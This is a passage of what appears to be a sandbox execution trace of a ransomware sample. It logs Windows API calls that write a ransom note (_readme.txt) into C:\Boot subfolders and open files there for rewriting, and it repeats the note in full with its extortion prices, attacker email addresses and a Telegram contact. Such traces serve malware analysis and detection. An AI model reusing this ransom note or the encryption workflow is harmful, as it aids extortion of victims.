are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.892] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.892] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.892] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.892] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.892] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.892] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.892] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.892] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.892] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.892] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.892] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.892] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.892] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.892] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.892] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0124.892] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.893] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.893] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.893] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.893] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.894] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.894] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.894] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0124.894] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.894] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.894] PathFindFileNameW (pszPath="") returned="" [0124.894] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.894] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.894] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.894] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.894] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.894] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0124.894] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0124.895] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.895] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.895] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.895] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.895] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.895] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.895] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0124.895] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.895] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.896] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.896] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.896] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 